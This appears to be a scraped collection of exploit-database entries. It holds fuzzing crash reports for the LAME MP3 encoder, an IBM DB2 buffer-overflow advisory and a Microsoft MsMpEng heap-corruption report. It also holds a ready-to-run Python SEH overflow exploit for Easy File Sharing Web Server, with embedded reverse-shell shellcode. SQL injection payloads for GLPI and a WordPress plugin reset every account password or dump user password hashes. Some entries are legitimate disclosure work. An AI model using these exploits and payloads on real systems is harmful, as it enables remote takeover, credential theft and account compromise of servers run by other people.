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About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

Description:
lame is a high quality MPEG Audio Layer III (MP3) encoder licensed under the LGPL.

Few notes before the details of this bug. Time ago a fuzz was done by Brian Carpenter and Jakub Wilk which posted the results on the debian bugtracker. In cases like this, when upstream is not active and people do not post on the upstream bugzilla is easy discover duplicates, so I downloaded all available testcases, and noone of the bug you will see on my blog is a duplicate of an existing issue. Upstream seems a bit dead, latest release was into 2011, so this blog post will probably forwarded on the upstream bugtracker just for the record.

The complete ASan output of the issue:

# lame -f -V 9 $FILE out.wav
==27479==ERROR: AddressSanitizer: global-buffer-overflow on address 0x7f598d317f20 at pc 0x7f598d2b246b bp 0x7ffe780cf310 sp 0x7ffe780cf308
READ of size 2 at 0x7f598d317f20 thread T0
    #0 0x7f598d2b246a in II_step_one /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/mpglib/layer2.c:144:36
    #1 0x7f598d2b246a in decode_layer2_frame /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/mpglib/layer2.c:375
    #2 0x7f598d29b377 in decodeMP3_clipchoice /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/mpglib/interface.c:611:13
    #3 0x7f598d298c13 in decodeMP3 /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/mpglib/interface.c:696:12
    #4 0x7f598d259092 in decode1_headersB_clipchoice /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/libmp3lame/mpglib_interface.c:149:11
    #5 0x7f598d25e94a in hip_decode1_headersB /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/libmp3lame/mpglib_interface.c:436:16
    #6 0x7f598d25e94a in hip_decode1_headers /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/libmp3lame/mpglib_interface.c:379
    #7 0x51e984 in lame_decode_fromfile /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/get_audio.c:2089:11
    #8 0x51e984 in read_samples_mp3 /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/get_audio.c:877
    #9 0x51e984 in get_audio_common /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/get_audio.c:785
    #10 0x51e4fa in get_audio /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/get_audio.c:688:16
    #11 0x50f776 in lame_encoder_loop /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/lame_main.c:456:17
    #12 0x50f776 in lame_encoder /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/lame_main.c:531
    #13 0x50c43f in lame_main /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/lame_main.c:707:15
    #14 0x510793 in c_main /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/main.c:470:15
    #15 0x510793 in main /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/main.c:438
    #16 0x7f598be51680 in __libc_start_main /tmp/portage/sys-libs/glibc-2.23-r3/work/glibc-2.23/csu/../csu/libc-start.c:289
    #17 0x41c998 in _init (/usr/bin/lame+0x41c998)

0x7f598d317f20 is located 0 bytes to the right of global variable 'alloc_2' defined in '/var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/mpglib/l2tables.h:118:24' (0x7f598d317de0) of size 320
SUMMARY: AddressSanitizer: global-buffer-overflow /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/mpglib/layer2.c:144:36 in II_step_one
Shadow bytes around the buggy address:
  0x0febb1a5af90: 00 00 00 00 00 00 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x0febb1a5afa0: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x0febb1a5afb0: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 00 00 00 00
  0x0febb1a5afc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0febb1a5afd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0febb1a5afe0: 00 00 00 00[f9]f9 f9 f9 f9 f9 f9 f9 00 00 00 00
  0x0febb1a5aff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0febb1a5b000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0febb1a5b010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0febb1a5b020: 00 00 00 00 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x0febb1a5b030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==27479==ABORTING
Affected version:
3.99.5

Fixed version:
N/A

Commit fix:
N/A

Credit:
This bug was discovered by Agostino Sarubbo of Gentoo.

CVE:
N/A

Reproducer:
https://github.com/asarubbo/poc/blob/master/00290-lame-globaloverflow-II_step_one

Timeline:
2017-06-01: bug discovered
2017-06-17: blog post about the issue

Note:
This bug was found with American Fuzzy Lop.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42258.zip
            
Description:
lame is a high quality MPEG Audio Layer III (MP3) encoder licensed under the LGPL.

Few notes before the details of this bug. Time ago a fuzz was done by Brian Carpenter and Jakub Wilk which posted the results on the debian bugtracker. In cases like this, when upstream is not active and people do not post on the upstream bugzilla is easy discover duplicates, so I downloaded all available testcases, and noone of the bug you will see on my blog is a duplicate of an existing issue. Upstream seems a bit dead, latest release was into 2011, so this blog post will probably forwarded on the upstream bugtracker just for the record.

The complete ASan output of the issue:

# lame -f -V 9 $FILE out.wav
==30801==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffe82a515a0 at pc 0x7f56d24c9df7 bp 0x7ffe82a4ffb0 sp 0x7ffe82a4ffa8
WRITE of size 4 at 0x7ffe82a515a0 thread T0
    #0 0x7f56d24c9df6 in III_dequantize_sample /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/mpglib/layer3.c
    #1 0x7f56d24a664f in decode_layer3_frame /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/mpglib/layer3.c:1738:17
    #2 0x7f56d24733ca in decodeMP3_clipchoice /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/mpglib/interface.c:615:13
    #3 0x7f56d2470c13 in decodeMP3 /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/mpglib/interface.c:696:12
    #4 0x7f56d2431092 in decode1_headersB_clipchoice /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/libmp3lame/mpglib_interface.c:149:11
    #5 0x7f56d243694a in hip_decode1_headersB /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/libmp3lame/mpglib_interface.c:436:16
    #6 0x7f56d243694a in hip_decode1_headers /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/libmp3lame/mpglib_interface.c:379
    #7 0x51e984 in lame_decode_fromfile /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/get_audio.c:2089:11
    #8 0x51e984 in read_samples_mp3 /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/get_audio.c:877
    #9 0x51e984 in get_audio_common /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/get_audio.c:785
    #10 0x51e4fa in get_audio /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/get_audio.c:688:16
    #11 0x50f776 in lame_encoder_loop /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/lame_main.c:456:17
    #12 0x50f776 in lame_encoder /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/lame_main.c:531
    #13 0x50c43f in lame_main /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/lame_main.c:707:15
    #14 0x510793 in c_main /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/main.c:470:15
    #15 0x510793 in main /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/frontend/main.c:438
    #16 0x7f56d1029680 in __libc_start_main /tmp/portage/sys-libs/glibc-2.23-r3/work/glibc-2.23/csu/../csu/libc-start.c:289
    #17 0x41c998 in _init (/usr/bin/lame+0x41c998)

Address 0x7ffe82a515a0 is located in stack of thread T0 at offset 5024 in frame
    #0 0x7f56d24a548f in decode_layer3_frame /var/tmp/portage/media-sound/lame-3.99.5-r1/work/lame-3.99.5/mpglib/layer3.c:1659

  This frame has 4 object(s):
    [32, 344) 'scalefacs'
    [416, 5024) 'hybridIn' 0x1000505422b0: 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
  0x1000505422c0: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
  0x1000505422d0: f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000505422e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000505422f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100050542300: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==30801==ABORTING
Affected version:
3.99.5

Fixed version:
N/A

Commit fix:
N/A

Credit:
This bug was discovered by Agostino Sarubbo of Gentoo.

CVE:
N/A

Reproducer:
https://github.com/asarubbo/poc/blob/master/00294-lame-stackoverflow-III_dequantize_sample

Timeline:
2017-06-01: bug discovered
2017-06-17: blog post about the issue

Note:
This bug was found with American Fuzzy Lop.

Permalink:
https://blogs.gentoo.org/ago/2017/06/17/lame-stack-based-buffer-overflow-in-iii_dequantize_sample-layer3-c


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42259.zip
            
'''
           DefenseCode Security Advisory
    IBM DB2 Command Line Processor Buffer Overflow


Advisory ID: DC-2017-04-002
Advisory Title: IBM DB2 Command Line Processor Buffer Overflow
Advisory URL:
http://www.defensecode.com/advisories/IBM_DB2_Command_Line_Processor_Buffer_Overflow.pdf
Software: IBM DB2
Version: V9.7, V10.1, V10.5 and V11.1 on all platforms
Vendor Status: Vendor Contacted / Fixed (CVE-2017-1297)
Release Date: 26.06.2017
Risk: High


1. General Overview
===================
IBM DB2 for Linux, UNIX and Windows (includes DB2 Connect Server) Command
Line Process (CLP) is vulnerable to a stack based buffer overflow, caused
by improper bounds checking which could allow an attacker to execute
arbitrary code. The vulnerability is triggered by providing an overly
long procedure name inside a CALL statement.


2. Software Overview
===================
DB2 is a database product from IBM. It is a Relational Database Management
System. DB2 is designed to store, analyze and retrieve the data efficiently.
DB2 currently supports Linux, UNIX and Windows platforms.

db2bp is a persistent background process for the DB2 Command Line
Processor,
and it is the process which actually connects to the database.


3. Brief Vulnerability Description
==================================
By providing a specially crafted command file to the db2 CLP utility, it is
possible to cause a buffer overflow and possibly hijack the execution flow
of the program. Crafted file contains a CALL statement with an overly long
procedure parameter.

3.1 Proof of Concept

The following python script will generate a proof of concept .sql crash
test
file that can be used to verify the vulnerability:

-------
'''

#!/usr/bin/python

load_overflow = 'A' * 1000
statement = "CALL " + load_overflow + ";"

crash_file = open("crash.sql", "w")
crash_file.write(statement)
crash_file.close()

'''
-------

PoC usage: db2 -f crash.sql


4. Credits
==========
Vulnerability discovered by Leon Juranic, further analysis by Bosko
Stankovic.


5. About DefenseCode
================================
DefenseCode L.L.C. delivers products and services designed to analyze
and test
web, desktop and mobile applications for security vulnerabilities.

DefenseCode ThunderScan is a SAST (Static Application Security Testing,
WhiteBox
Testing) solution for performing extensive security audits of
application source
code. ThunderScan performs fast and accurate analyses of large and complex
source code projects delivering precise results and low false positive rate.

DefenseCode WebScanner is a DAST (Dynamic Application Security Testing,
BlackBox
Testing) solution for comprehensive security audits of active web
applications.
WebScanner will test a website's security by carrying out a large number of
attacks using the most advanced techniques, just as a real attacker would.

Subscribe for free software trial on our website http://www.defensecode.com/
'''
            
#!/usr/bin/python
# Exploit Title: Easy File Sharing Web Server 7.2 - GET HTTP Request (PassWD) Buffer Overflow (SEH)
# Date: 19 June 2017
# Exploit Author: clubjk
# Author Contact: jk@jkcybersecurity.com
# Vendor Homepage: http://www.sharing-file.com
# Software Link: https://www.exploit-db.com/apps/60f3ff1f3cd34dec80fba130ea481f31-efssetup.exe
# Version: Easy File Sharing Web Server 7.2
# Tested on: WinXP SP3
# Usage: ./exploit.py
# [*] Connecting to Target 192.168.188.132...standby...
# [*] Successfully connected to 192.168.188.132...
# [*] Sending improperly formed request...
# [!] Request has been sent!


import socket,os,time, sys
 
host = "192.168.188.132"
port = 80


#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.188.133 LPORT=2345 -f py -b "\x00"
buf =  ""
buf += "\xdb\xd2\xd9\x74\x24\xf4\x5f\xba\xb7\xe7\x7d\x1e\x29"
buf += "\xc9\xb1\x52\x83\xef\xfc\x31\x57\x13\x03\xe0\xf4\x9f"
buf += "\xeb\xf2\x13\xdd\x14\x0a\xe4\x82\x9d\xef\xd5\x82\xfa"
buf += "\x64\x45\x33\x88\x28\x6a\xb8\xdc\xd8\xf9\xcc\xc8\xef"
buf += "\x4a\x7a\x2f\xde\x4b\xd7\x13\x41\xc8\x2a\x40\xa1\xf1"
buf += "\xe4\x95\xa0\x36\x18\x57\xf0\xef\x56\xca\xe4\x84\x23"
buf += "\xd7\x8f\xd7\xa2\x5f\x6c\xaf\xc5\x4e\x23\xbb\x9f\x50"
buf += "\xc2\x68\x94\xd8\xdc\x6d\x91\x93\x57\x45\x6d\x22\xb1"
buf += "\x97\x8e\x89\xfc\x17\x7d\xd3\x39\x9f\x9e\xa6\x33\xe3"
buf += "\x23\xb1\x80\x99\xff\x34\x12\x39\x8b\xef\xfe\xbb\x58"
buf += "\x69\x75\xb7\x15\xfd\xd1\xd4\xa8\xd2\x6a\xe0\x21\xd5"
buf += "\xbc\x60\x71\xf2\x18\x28\x21\x9b\x39\x94\x84\xa4\x59"
buf += "\x77\x78\x01\x12\x9a\x6d\x38\x79\xf3\x42\x71\x81\x03"
buf += "\xcd\x02\xf2\x31\x52\xb9\x9c\x79\x1b\x67\x5b\x7d\x36"
buf += "\xdf\xf3\x80\xb9\x20\xda\x46\xed\x70\x74\x6e\x8e\x1a"
buf += "\x84\x8f\x5b\x8c\xd4\x3f\x34\x6d\x84\xff\xe4\x05\xce"
buf += "\x0f\xda\x36\xf1\xc5\x73\xdc\x08\x8e\xbb\x89\xae\xcb"
buf += "\x54\xc8\xce\xda\x8d\x45\x28\xb6\xdd\x03\xe3\x2f\x47"
buf += "\x0e\x7f\xd1\x88\x84\xfa\xd1\x03\x2b\xfb\x9c\xe3\x46"
buf += "\xef\x49\x04\x1d\x4d\xdf\x1b\x8b\xf9\x83\x8e\x50\xf9"
buf += "\xca\xb2\xce\xae\x9b\x05\x07\x3a\x36\x3f\xb1\x58\xcb"
buf += "\xd9\xfa\xd8\x10\x1a\x04\xe1\xd5\x26\x22\xf1\x23\xa6"
buf += "\x6e\xa5\xfb\xf1\x38\x13\xba\xab\x8a\xcd\x14\x07\x45"
buf += "\x99\xe1\x6b\x56\xdf\xed\xa1\x20\x3f\x5f\x1c\x75\x40"
buf += "\x50\xc8\x71\x39\x8c\x68\x7d\x90\x14\x98\x34\xb8\x3d"
buf += "\x31\x91\x29\x7c\x5c\x22\x84\x43\x59\xa1\x2c\x3c\x9e"
buf += "\xb9\x45\x39\xda\x7d\xb6\x33\x73\xe8\xb8\xe0\x74\x39"

crash = "/.:/"                #unusual but needed
crash += "A"*53               #offset
crash += "\xeb\x10\x90\x90"   #seh
crash += "\x05\x86\x01\x10"   #pop pop ret ImageLoad.dll (WinXP SP3)
crash += "D"*10               #junk
crash += buf                  #shellcode
crash += "E"*2600             #total string needs to be about 3000 chars

 
request = "GET /vfolder.ghp HTTP/1.1\r\n"
request += "Host: " + host + "\r\n"
request += "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0" + "\r\n"
request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + "\r\n"
request += "Accept-Language: en-US,en;q=0.5" + "\r\n"
request += "Accept-Encoding: gzip, deflate" + "\r\n"
request += "Referer: " + "http://" + host + "/" + "\r\n"
request += "Cookie: SESSIONID=16246; UserID=PassWD=" + crash + "; frmUserName=; frmUserPass=;"
request += " rememberPass=202.197.208.215.201"
request += "\r\n"
request += "Connection: keep-alive" + "\r\n"
request += "If-Modified-Since: Mon, 19 Jun 2017 17:36:03 GMT" + "\r\n"

print "[*] Connecting to Target " + host + "...standby..."

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)


try:
	connect=s.connect((host, port))
	print "[*] Successfully connected to " + host + "!!!"
except:
	print "[!] " + host + " didn't respond\n"
	sys.exit(0)


print "[*] Sending improperly formed request..."
s.send(request + "\r\n\r\n")
print "[!] Request has been sent!\n"
s.close()
            
# Exploit Title: Multiple SQL injection vulnerabilities in GLPI 0.90.4
# Date: 2016/09/09
# Exploit Author: Eric CARTER (in/ericcarterengineer - CS c-s.fr)
# Vendor Homepage: http://glpi-project.org
# Software Link: http://glpi-project.org/spip.php?article3
# Version: 0.90.4
# Tested on: GLPI 0.90.4 running on a Debian 7, Apache 2.2.2, MySQL 5.5.49
# CVE : CVE-2016-7508

Multiple SQL injection vulnerabilities in GLPI 0.90.4 allow an 
authenticated remote attacker to execute arbitrary SQL commands by 
using the [ELIDED] character when the database is configured to use 
asian encoding (BIG 5).



> [Affected Component]
The file ./inc/dbmysql.class.php defines the encoding the database 
should use. This files uses the "SET NAMES" function which offers the 
possibility to use a specific encoding.

> [Attack Type]
Remote

> [Impact Code execution]
True

> [Impact Escalation of Privileges]
True

> [Impact Information Disclosure]
True

> [Prerequisite]
The administrator of GLPI must have defined the variable 
$dbenc='big5' in ./config/config_db.php to support asian encoding. It 
will then be possible to do SQL injection in almost all the forms of 
the application.
 
> [Attack Vectors]
For the proof-of-concept, the attacker targeted the 
"Surname" form input in the User profile by adding the characters 
ø (\xBF\x27) before the SQL code (the request must be sent using Western
encoding) :
ø', password=61529519452809720693702583126814 -- x

Once received by the server, the request will be sanitized, giving :
ø\', password=61529519452809720693702583126814 -- x

The value will then be sent to the database with a BIG5 encoding. Here is the 
critical point, as BIG5 will see the string ø\ as a single asian character 
encoded on two bytes. As the single quote isn't escaped anymore, the 
SQL code will be executed and will set the password of every accounts 
to the value
61529519452809720693702583126814 (=MD5 hash of "ximaz" string)
            
# Exploit Title: Ultimate Product Catalogue 4.2.2 Sql Injection – Plugin WordPress – Sql Injection
# Exploit Author: Lenon Leite
# Vendor Homepage: https://wordpress.org/plugins/ultimate-product-catalogue/

# Software Link: https://wordpress.org/plugins/ultimate-product-catalogue/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 4.2.2
# Tested on: Ubuntu 16.04

1 - Description:

Type user access: register user.

$_POST[‘CatID’] is not escaped.

http://lenonleite.com.br/en/blog/2017/05/31/english-ultimate-product-catalogue-4-2-2-sql-injection/

2 - Proof of Concept:

1 – Login as regular user (created using wp-login.php?action=register):

2 – Using:

<*form method="post"
action="http://target/wp-admin/admin-ajax.php?action=get_upcp_subcategories">
<*input type="text" name="CatID" value="0 UNION SELECT
user_login,user_pass FROM wp_users WHERE ID=1">
<*input type="submit">

*delete “*” in code*

3 - Timeline:

- 22/05/2017 – Discovered
- 24/05/2017 – Vendor not finded
- **/06/2017 - Corrected

***Rename plugin txt to zip. Problem with gmail block.
-- 
*Atenciosamente*

*Lenon Leite*
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1282&desc=2

In   issue 1260   I discussed Microsoft's "apicall" instruction that can invoke a large number of internal emulator apis and is exposed to remote attackers by default in all recent versions of Windows. I asked Microsoft if this was intentionally exposed, and they replied "The apicall instruction is exposed for multiple reasons", so this is intentional.

This full system x86 emulator runs as SYSTEM, is unsandboxed, is enabled by default and remotely accessible to attackers.

I took a quick stab at writing a fuzzer and immediately found heap corruption in the KERNEL32.DLL!VFS_Write API, I suspect this has never been fuzzed before. A minimal testcase would be something like this:

int main(int argc, char **argv)
{
    MpApiCall("NTDLL.DLL", "NtControlChannel", 0xA);    // Disable apicall limit

    for (int i = 0; i < 16; i++) {
        MpApiCall("NTDLL.DLL", "VFS_Open", (uint64_t) L"filename", 0);
        MpApiCall("NTDLL.DLL", "VFS_Write", i, (uint64_t) "data", 0, 0);
        MpApiCall("NTDLL.DLL", "VFS_Write", i, (uint64_t) "data", -1, 0);
    }

    return 0;
}

I suspect the MutableByteStream object getting corrupted with an unchecked memcpy, I've seen multiple different stacktraces including wild eip.

See attachment for MpApiCall() implementation, and pre-compiled testcase, renamed testcase.txt. Note that as soon as the testcase.txt file touches disk, it will immediately crash the MsMpEng service on Windows, which may destabilize your system. The testcases have been encrypted to prevent crashing your exchange server.

This bug was found on Linux using Address Sanitizer:

$ ./mpclient extra/testcase.exe 
main(): Scanning extra/testcase.exe...
EngineScanCallback(): Scanning input
*** Error in `./mpclient': free(): invalid pointer: 0x0a5b4e50 ***
Aborted (core dumped)

Then verified on Windows in MsMpEng.exe:

Critical error detected c0000374
Break instruction exception - code 80000003 (first chance)
ntdll!RtlReportCriticalFailure+0x29:
001b:76fc3b6d cc              int     3
2: kd> kv
ChildEBP RetAddr  Args to Child              
0192e638 76fc4acd c0000374 76fdedd8 0192e67c ntdll!RtlReportCriticalFailure+0x29 (FPO: [Non-Fpo])
0192e648 76fc4bad 00000002 777482b4 11109bb0 ntdll!RtlpReportHeapFailure+0x21 (FPO: [Non-Fpo])
0192e67c 76f8a1dc 0000000c 00370000 11109bb0 ntdll!RtlpLogHeapFailure+0xa1 (FPO: [Non-Fpo])
0192e76c 76f55950 0000cc5c 0000cc68 003700c4 ntdll!RtlpAllocateHeap+0x7b2 (FPO: [Non-Fpo])
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for mpengine.dll - 
0192e7f0 66ac184e 00370000 00000008 0000cc5c ntdll!RtlAllocateHeap+0x23a (FPO: [Non-Fpo])
WARNING: Stack unwind information not available. Following frames may be wrong.
0192e808 668b60ef 0000cc5c 00000001 0cb26e40 mpengine!FreeSigFiles+0x1cb14e
0192e858 6682c1a7 94741586 0cb26e40 11069948 mpengine!_rsignal+0x3479f
0192e880 668266f5 947414e2 00000000 0192eb34 mpengine+0x20c1a7
0192e9e4 668251ce 0192eb34 0cb26e40 00001000 mpengine+0x2066f5
0192ea38 66822fd1 0cb26e40 109ee478 00001000 mpengine+0x2051ce
0192eab0 66823127 0192eae0 0192eb34 00000000 mpengine+0x202fd1
0192eba8 66822d18 0192ec00 0192ec54 00000000 mpengine+0x203127
0192ec70 66823533 0192ec98 110c02e0 947411c2 mpengine+0x202d18
0192ecc4 668244b5 110c02e0 947411fa 106bde30 mpengine+0x203533
0192ecfc 66824593 110c02e0 94741382 00000000 mpengine+0x2044b5
0192ee84 6682085f 0192f7dc 00000000 003e7cd8 mpengine+0x204593
0192ee9c 6682088b 0192eeb8 66823dd2 0192f7dc mpengine+0x20085f
0192eea4 66823dd2 0192f7dc 0192f7dc 947413be mpengine+0x20088b
0192eeb8 66820829 0192f7dc 003e7cd8 66820790 mpengine+0x203dd2
0192eed8 66823d4a 0192f7dc 00000000 9474121a mpengine+0x200829
0192ef1c 6682d2a0 0192f7dc 0000800c 0192f7dc mpengine+0x203d4a
0192ef30 668820be 947409ce 66881ba0 00370bf8 mpengine+0x20d2a0
0192f4c8 66881b5f 00004039 0192f7dc 00000030 mpengine!_rsignal+0x76e
0192f4f0 66881a1e 0192f7dc 00000030 94740bfe mpengine!_rsignal+0x20f
0192f6f8 66881987 0192f7dc 00000030 0192f758 mpengine!_rsignal+0xce
0192f708 71436eff 003d5c60 00004039 0192f7dc mpengine!_rsignal+0x37
0192f758 7061480b 003d5bf8 00004039 0192f7dc mpsvc!rsignal_wrapper+0xef (FPO: [Non-Fpo])
0192f784 706478b4 0192f7dc 0192f828 00000000 mprtp!RealtimeProtection::CCMEngine::NotifyChange+0x7e (FPO: [1,2,0])
0192f7a0 70647b53 9479983c 00000004 70647900 mprtp!RealtimeProtection::MpNotifyChangeEx+0x9a (FPO: [Non-Fpo])
0192f870 70646b0a 01dfa2a8 01dda8b8 01dfa2a8 mprtp!RealtimeProtection::MpOpenProcessNotificationWorker+0x253 (FPO: [Non-Fpo])
0192f888 70649aec 70649ab0 01dda8b0 0192f8ac mprtp!RealtimeProtection::AsyncNotificationWorker+0x86 (FPO: [Non-Fpo])
0192f898 70617e47 005209e8 70617dd0 947998e0 mprtp!RealtimeProtection::CAsyncNotificationWorkItem::ExecuteJob+0x3c (FPO: [0,1,4])
0192f8ac 73f3389a 01dda8b8 947c55e2 76f7268c mprtp!CommonUtil::CMpThreadPoolItemBase::DoAction+0x77 (FPO: [Non-Fpo])
0192f8e8 76f126d5 0192f948 0051c2b8 003a0c00 mpclient!CommonUtil::CMpThreadPoolProviderVista::WorkCallback+0xca (FPO: [Non-Fpo])
0192f90c 76f30774 0192f948 003a0c60 77749e94 ntdll!TppWorkpExecuteCallback+0x10f (FPO: [Non-Fpo])
0192fa5c 75f1ef8c 003a4e58 0192faa8 76f6367a ntdll!TppWorkerThread+0x562 (FPO: [Non-Fpo])
0192fa68 76f6367a 003a4e58 77749e60 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
0192faa8 76f6364d 76f302cb 003a4e58 00000000 ntdll!__RtlUserThreadStart+0x70 (FPO: [Non-Fpo])
0192fac0 00000000 76f302cb 003a4e58 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])
2: kd> lmv m mpengine
start    end        module name
66620000 67015000   mpengine   (export symbols)       mpengine.dll
    Loaded symbol image file: mpengine.dll
    Image path: c:\ProgramData\Microsoft\Microsoft Antimalware\Definition Updates\{CCD47945-D7B4-402F-99F0-622F76161ECD}\mpengine.dll
    Image name: mpengine.dll
    Timestamp:        Tue May 23 10:52:27 2017 (592476DB)
    CheckSum:         00A1867D
    ImageSize:        009F5000
    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4

################################################################################

I had some time to minimize the bug, a minimal testcase would be this:

    MpApiCall("NTDLL.DLL", "VFS_Write", 1, Buf, 0, 0xffffffff, 0);
    MpApiCall("NTDLL.DLL", "VFS_Write", 1, Buf, 0x7ff, 0x41414141, 0);

The first call extends the length of the file to nOffset, but because the numberOfBytes parameter is 0 no space is allocated. Then you can read and write arbitrary data to an arbitrary offset to the MutableByteStream object buffer. This is a very powerful exploit primitive, and exploitation does not seem difficult.

################################################################################

Here is a better testcase that crashes in a memcpy to a bad destination offset.

(gdb) r
Starting program: mpclient testcase.exe
main(): Scanning testcase.exe...
EngineScanCallback(): Scanning input

Program received signal SIGSEGV, Segmentation fault.
0xf6e98c08 in ?? ()
(gdb) x/i $pc
=> 0xf6e98c08:	rep movs DWORD PTR es:[edi],DWORD PTR ds:[esi]
(gdb) p/x $edi
$1 = 0xc7028a20
(gdb) p/x $esi
$2 = 0x843e228
(gdb) x/10xb $esi
0x843e228:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x843e230:	0x00	0x00
(gdb) x/10xb $edi
0xc7028a20:	Cannot access memory at address 0xc7028a20
(gdb) r

################################################################################

stacktrace on windows:

2: kd> r
eax=c7c13828 ebx=1ca71d90 ecx=00000400 edx=00001000 esi=1ca71d90 edi=db6625b8
eip=669c44e0 esp=0242c210 ebp=0242c234 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
mpengine!memcpy+0x250:
001b:669c44e0 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
2: kd> dd edi
db6625b8  ???????? ???????? ???????? ????????
db6625c8  ???????? ???????? ???????? ????????
db6625d8  ???????? ???????? ???????? ????????
db6625e8  ???????? ???????? ???????? ????????
db6625f8  ???????? ???????? ???????? ????????
db662608  ???????? ???????? ???????? ????????
db662618  ???????? ???????? ???????? ????????
db662628  ???????? ???????? ???????? ????????
2: kd> kv
ChildEBP RetAddr  Args to Child              
0242c214 66a84a47 db6625b8 1ca71d90 00001000 mpengine!memcpy+0x250 (FPO: [3,0,2])
